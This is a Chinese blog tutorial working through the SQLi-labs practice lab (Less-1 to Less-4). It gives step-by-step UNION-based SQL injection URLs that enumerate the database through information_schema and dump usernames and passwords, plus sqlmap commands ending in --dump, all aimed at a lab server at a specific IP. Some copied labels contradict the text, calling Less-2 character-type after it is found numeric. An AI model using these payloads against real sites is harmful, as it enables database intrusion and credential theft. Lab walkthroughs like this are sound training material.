2-手工sql注入(进阶篇) sqlilabs靶场1-4题

2024-05-02 09:04

本文主要是介绍2-手工sql注入(进阶篇) sqlilabs靶场1-4题,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1. 阅读,学习本章前,可以先去看看基础篇:1-手工sql注入(基础篇)-CSDN博客

2. 本章通过对sqlilabs靶场的实战,关于sqlilabs靶场的搭建:Linux搭建靶场-CSDN博客

3. 本章会使用到sqlmap,关于sqlmap的命令:sql注入工具-​sqlmap-CSDN博客


点击访问题目:

通过 url 参数访问题目:http://服务器地址/sqlilabs/Less-1/

  • Less-1 是第一题题目
  • Less-2 是第二题题目 
  • 以此类推,进行访问

判断注入类型:在SQL注入中,判断是字符型注入还是数字型注入可以通过以下方法:

  • 1. 观察注入点的上下文:在注入点前后的SQL语句中,如果注入点处的参数被引号包围(例如:'1'),则很可能是字符型注入;如果不被引号包围(例如:1),则可能是数字型注入。
  • 2. 字符串函数的使用:在注入点处,如果使用了字符串函数(如CONCAT、SUBSTRING、LENGTH等),则很可能是字符型注入。这是因为字符串函数通常用于修改字符串值,而数字类型的参数并不需要使用字符串函数。
  • 3. 错误消息:如果在注入点处注入了非法字符或非法语法,且数据库返回了错误消息,可以通过错误消息中的内容来判断是字符型注入还是数字型注入。例如,如果错误消息中包含了关于字符串数据类型的错误信息(如字符串转换错误),则可能是字符型注入。
  • 4. 注入点的响应:在注入点处注入不同类型的数据,观察数据库的响应。如果注入点返回了期望的结果(如查询结果集),则可能是字符型注入;如果注入点返回了错误信息或者无效的结果,可能是数字型注入。

Less-1

第一题的题目Less-1需要通过给url传递 id 参数访问数据:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-1/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
  • 返回内容:根据id查询出来的用户信息
  • 模拟场景:后端查询用户数据

注入点:http://38.147.186.138/sqlilabs/Less-1/?id=1

手工注入

第一步:判断注入点 是否存在注入

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1

测试是否存在注入:

  1. 数字型注入测试:
    • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1 and 1=1 #      正常返回数据
    • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1 and 1=2 #      正常返回数据
  2. 字符型注入-单引号闭合测试:'
    • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' and 1=1 #      不正常返回数据,页面报错,可能存在注入点,报错中可以看到数字1,推断出是字符型注入

结果:

  • http://38.147.186.138/sqlilabs/Less-1/?id=1 结果存在注入
  • 注入类型为字符型:1' and 1=1

第二步: 获取字段数

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '

获取字段数:

  1. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 1 #   报错
  2. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 1 -- +   字段数为1,显示正常
  3. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 2 -- +   字段数为2,显示正常
  4. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 3 -- +   字段数为3,显示正常
  5. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' order by 4 -- +   字段数为4,显示: Unknown column '4' in 'order clause' ,通过这个报错可以知道 字段的长度为3,因为为4,报错,表示没有这个字段数,也可以理解为超过字段长度
  6. 问题:为什么使用 # 注释符报错,而使用 -- 注释符不报错
    1. 当sql注入时使用 order by # 时,它是将 # 后面的内容作为注释,因此后面的语句被忽略,可能会导致语法错误或意外结果
    2. 当sql注入时使用 order by -- + 是单行注释的开始,并注释掉了 -- + 后面的内容,这样做的目的是注释掉 sql 语句中可能造成错误的部分,而不会导致整个语句被忽略
    3. 总的来说,-- + 注释符号在 sql 注入中使用更为广泛,因为它可以注释掉部分语句而不会导致整个语句被忽略。也可以 在使用 # 报错后 使用 -- + ,因为具体使用哪种注释符号还要根据具体的注入场景和数据库的不同而定
    4. 但是建议还是使用 -- + 

结果:

  • 字段数长度为:3

第三步: 确定回显位

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3

确定回显位:

  1. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=1' union select 1,2,3 -- + 未显示回显位,显示查询的数据
  2. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=2' union select 1,2,3 -- + 未显示回显位,显示查询的数据
  3. 输入:http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,2,3 -- + 显示回显位,回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3
  4. 问题:关于为什么 id=2' union select 1,2,3 -- +和?id=2' union select 1,2,3 -- + 返回是正常的数据而不是 回显的数据
    1. 因为 id=2' 数据库中存在2的数据查询出来2的数据显示到网页中,然后才查询 union select 1,2,3 -- +
    2. 解决:可以设置 id=-1'  或将 id值设置为一个没有结果的值,例如 id=1000',因为 数据库中没有id=1000的数据,所以这时候就是 2,3进行占位

结果:

  • 回显位置为:网页的第二列和第三列

第四步:获取当前数据库库名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列

  • 使用myqsl中的database()函数获取数据库名称
  • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,database(),3 -- +

结果:

  • 数据库名称为:security

第五步:获取数据库所有表名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security

获取数据库表名:

  • 获取数据库所有表名:http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
  • sql语句解读:从`information_schema.tables`表中获取所有属于`security`数据库的表名,并将它们以逗号分隔的形式返回。
    • group_concat() 是一个聚合函数,它用于将多个行的值连接到一个字符串中。它将多个值连接在一起,并且可以选择添加分隔符。
    • information_schema.tables 是一个默认的数据库,用于存储数据库中所有表的元数据。它包含了数据库中所有表的名称、类型、所属数据库、创建时间等信息。通过查询 information_schema.tables,可以获取数据库中表的相关信息,例如表名称、列数、索引数等。

结果:

  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

第六步:获取数据表列名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
    • users中存储这用户的信息,所以这是主要的获取数据的目标表

获取数据表列名:

  • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

结果:

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

第六步:获取数据

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-1/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
    • users中存储这用户的信息,所以这是主要的获取数据的目标表
  • users数据库列名:username和password

获取数据:

  • 输入:http://38.147.186.138/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users -- +
 

Less-1  手工注入结束

sqlmap注入

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" --batch
  2. 获取所有数据库:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" --dbs  --batch
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" --current-db --batch
  4. 获取security数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" -D "security" --tables --batch
  5. 获取users表中的字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-1/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-1  sqlmap工具注入结束

 

Less-2 

第二题的题目Less-2需要通过给url传递 id 参数访问数据:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-1/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
  • 返回内容:根据id查询出来的用户信息
  • 模拟场景:后端查询用户数据

注入点:http://38.147.186.138/sqlilabs/Less-1/?id=1' and 1=1

手工注入

1. 判断注入类型

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1

判断注入类型:

  • 数字型注入测试:
    • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 and 1=1 #      正常返回数据
    • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 and 1=2 #      正常返回数据
  • 字符型注入-单引号闭合测试:'
    • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1' and 1=1 #      不正常返回数据,页面报错,可能存在注入点,不被引号包围(例如:1),则可能是数字型注入

结果:

  • http://38.147.186.138/sqlilabs/Less-2/?id=1 结果存在注入
  • 注入类型为数字型注入:1' 

第二步: 获取字段数

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:数字型注入

获取字段数:

  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 1 -- +   字段数为1,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 2 -- +   字段数为2,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 3 -- +   字段数为3,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=1 order by 4 -- +   字段数为4,字段数为4,显示: Unknown column '4' in 'order clause' ,通过这个报错可以知道 字段的长度为3,因为为4,报错,表示没有这个字段数,也可以理解为超过字段长度

结果:

  • 字段数长度为:3

第三步: 确定回显位

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3

确定回显位:

  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,2,3 --+ 显示回显位,回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3

结果:

  • 回显位置为:网页的第二列和第三列

第四步:获取当前数据库库名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列

获取当前数据库库名:

  • 使用myqsl中的database()函数获取数据库名称
  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,database(),3 --+

结果:

  • 数据库名称为:security

第五步:获取数据库所有表名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security

获取数据库表名:

  • 获取数据库所有表名:http://38.147.186.138/sqlilabs/Less-2/?id=-100 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

结果:

  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

第六步:获取数据表列名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

获取数据表列名:

  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

结果:

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

第六步:获取数据

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1
  • 注入类型为:字符型注入,闭合字符为单引号 '
  • 字段数为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表
  • users数据库列名:username和password

获取数据:

  • 输入:http://38.147.186.138/sqlilabs/Less-2/?id=100 union select 1,2,group_concat(username,password) from users --+

Less-1  手工注入结束

Less-3

第三题的题目Less-3需要通过给url传递 id 参数访问数据:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-3/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
  • 返回内容:根据id查询出来的用户信息
  • 模拟场景:后端查询用户数据

注入点:http://38.147.186.138/sqlilabs/Less-2/?id=1' and 1=1

手工注入

1. 判断注入类型

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-2/?id=1

判断注入类型:

  • 数字型注入测试:
    • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1 and 1=1 #      正常返回数据
    • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1 and 1=2 #      正常返回数据
  • 字符型注入测试:
    • http://38.147.186.138/sqlilabs/Less-3/?id=1' and 1=2 #   不正常返回数据,页面报错,可能存在注入点,1 被引号包围 "1"  说明是一个字符型注入,报错中还有一个 ) 号,可以推断这是一个 单引号加右括号的闭合方式:')  

结果:

  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')

第二步: 获取字段数

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')

获取字段数:

  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 1 -- +   字段数为1,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 2 -- +   字段数为2,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 3 -- +   字段数为3,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=1') order by 4 -- +   字段数为4,显示: Unknown column '4' in 'order clause' ,通过这个报错可以知道 字段的长度为3,因为为4,报错,表示没有这个字段数,也可以理解为超过字段长度

结果:

  • 字段数长度为:3

第三步: 确定回显位

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3

确定回显位:

  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,2,3 --+ 显示回显位,回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3

结果:

  • 回显位置为:网页的第二列和第三列

第四步:获取当前数据库库名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列

获取当前数据库库名:

  • 使用myqsl中的database()函数获取数据库名称
  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,database(),3 --+

结果:

  • 数据库名称为:security

第五步:获取数据库所有表名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称:security

获取数据库所有表名:    http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

结果:

  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

第六步:获取数据表列名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

获取数据表列名:

  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

​​​​​结果:

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

第六步:获取数据

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-3/?id=1
  • http://38.147.186.138/sqlilabs/Less-3/?id=1')  结果存在注入
  • 注入类型为字符型注入:1') 闭合方式为 ')
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表
  • users数据库列名:username和password

获取数据:

  • 输入:http://38.147.186.138/sqlilabs/Less-3/?id=100') union select 1,2,group_concat(username,password) from users --+

Less-4

第四题的题目Less-4需要通过给url传递 id 参数访问数据:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-4/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
  • 返回内容:根据id查询出来的用户信息
  • 模拟场景:后端查询用户数据

注入点:http://38.147.186.138/sqlilabs/Less-4/?id=1' and 1=1

手工注入

1. 判断注入类型

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1

判断注入类型:

  • 数字型注入测试:
    • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1 and 1=1 #      正常返回数据
    • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1 and 1=2 #      正常返回数据
  • 字符型测试-单引号闭合:'
    • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1' 正常返回数据
  • 字符型测试-单引号闭合+括号:')
    • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1') 正常返回数据
  • 字符型测试-双引号闭合:"
    • ​​​​​​​​​​​​​​输入:http://38.147.186.138/sqlilabs/Less-4/?id=1" 不正常返回数据,页面报错,可能存在注入点,1 被引号包围 "1"  说明是一个字符型注入,报错中还有一个 ) 号,可以推断这是一个 双引号加右括号的闭合方式:")  

结果:

  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")

第二步: 获取字段数

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")

获取字段数:

  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 1 -- +   字段数为1,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 2 -- +   字段数为2,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 3 -- +   字段数为3,显示正常
  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=1") order by 4 -- +   字段数为4,显示: Unknown column '4' in 'order clause' ,通过这个报错可以知道 字段的长度为3,因为为4,报错,表示没有这个字段数,也可以理解为超过字段长度

结果:

  • 字段数长度为:3

第三步: 确定回显位

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3

确定回显位:

  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,2,3 --+ 显示回显位,回显位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据显存位的数据2和3

结果:

  • 回显位置为:网页的第二列和第三列

第四步:获取当前数据库库名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列

获取当前数据库库名:

  • 使用myqsl中的database()函数获取数据库名称
  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,database(),3 --+

结果:

  • 数据库名称为:security

第五步:获取数据库所有表名

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security

获取数据库所有表名:    http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

结果:

  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表

获取数据表列名:

  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

结果:

  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

第六步:获取数据

已知:

  • 注入点为:http://38.147.186.138/sqlilabs/Less-4/?id=1
  • http://38.147.186.138/sqlilabs/Less-4/?id=1"  结果存在注入
  • 注入类型为字符型注入:1") 闭合方式为 ")
  • 字段数长度为:3
  • 回显位置为:网页的第二列和第三列
  • 数据库名称为:security
  • 数据库security中的数据表为:emails,referers,usagents,users
  • users中存储这用户的信息,所以这是主要的获取数据的目标表
  • 通过上图中获取到的数据表列名可以确定 username和password为主要用户数据的列名

获取数据:

  • 输入:http://38.147.186.138/sqlilabs/Less-4/?id=100") union select 1,2,group_concat(username,password) from users --+

这篇关于2-手工sql注入(进阶篇) sqlilabs靶场1-4题的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/953890

相关文章

SQL中的外键约束

外键约束用于表示两张表中的指标连接关系。外键约束的作用主要有以下三点: 1.确保子表中的某个字段(外键)只能引用父表中的有效记录2.主表中的列被删除时,子表中的关联列也会被删除3.主表中的列更新时,子表中的关联元素也会被更新 子表中的元素指向主表 以下是一个外键约束的实例展示

基于MySQL Binlog的Elasticsearch数据同步实践

一、为什么要做 随着马蜂窝的逐渐发展,我们的业务数据越来越多,单纯使用 MySQL 已经不能满足我们的数据查询需求,例如对于商品、订单等数据的多维度检索。 使用 Elasticsearch 存储业务数据可以很好的解决我们业务中的搜索需求。而数据进行异构存储后,随之而来的就是数据同步的问题。 二、现有方法及问题 对于数据同步,我们目前的解决方案是建立数据中间表。把需要检索的业务数据,统一放到一张M

如何去写一手好SQL

MySQL性能 最大数据量 抛开数据量和并发数,谈性能都是耍流氓。MySQL没有限制单表最大记录数,它取决于操作系统对文件大小的限制。 《阿里巴巴Java开发手册》提出单表行数超过500万行或者单表容量超过2GB,才推荐分库分表。性能由综合因素决定,抛开业务复杂度,影响程度依次是硬件配置、MySQL配置、数据表设计、索引优化。500万这个值仅供参考,并非铁律。 博主曾经操作过超过4亿行数据

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

MySQL数据库宕机,启动不起来,教你一招搞定!

作者介绍:老苏,10余年DBA工作运维经验,擅长Oracle、MySQL、PG、Mongodb数据库运维(如安装迁移,性能优化、故障应急处理等)公众号:老苏畅谈运维欢迎关注本人公众号,更多精彩与您分享。 MySQL数据库宕机,数据页损坏问题,启动不起来,该如何排查和解决,本文将为你说明具体的排查过程。 查看MySQL error日志 查看 MySQL error日志,排查哪个表(表空间

MySQL高性能优化规范

前言:      笔者最近上班途中突然想丰富下自己的数据库优化技能。于是在查阅了多篇文章后,总结出了这篇! 数据库命令规范 所有数据库对象名称必须使用小写字母并用下划线分割 所有数据库对象名称禁止使用mysql保留关键字(如果表名中包含关键字查询时,需要将其用单引号括起来) 数据库对象的命名要能做到见名识意,并且最后不要超过32个字符 临时库表必须以tmp_为前缀并以日期为后缀,备份

[MySQL表的增删改查-进阶]

🌈个人主页:努力学编程’ ⛅个人推荐: c语言从初阶到进阶 JavaEE详解 数据结构 ⚡学好数据结构,刷题刻不容缓:点击一起刷题 🌙心灵鸡汤:总有人要赢,为什么不能是我呢 💻💻💻数据库约束 🔭🔭🔭约束类型 not null: 指示某列不能存储 NULL 值unique: 保证某列的每行必须有唯一的值default: 规定没有给列赋值时的默认值.primary key:

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

MySQL-CRUD入门1

文章目录 认识配置文件client节点mysql节点mysqld节点 数据的添加(Create)添加一行数据添加多行数据两种添加数据的效率对比 数据的查询(Retrieve)全列查询指定列查询查询中带有表达式关于字面量关于as重命名 临时表引入distinct去重order by 排序关于NULL 认识配置文件 在我们的MySQL服务安装好了之后, 会有一个配置文件, 也就

Java 连接Sql sever 2008

Java 连接Sql sever 2008 /Sql sever 2008 R2 import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.Statement; public class TestJDBC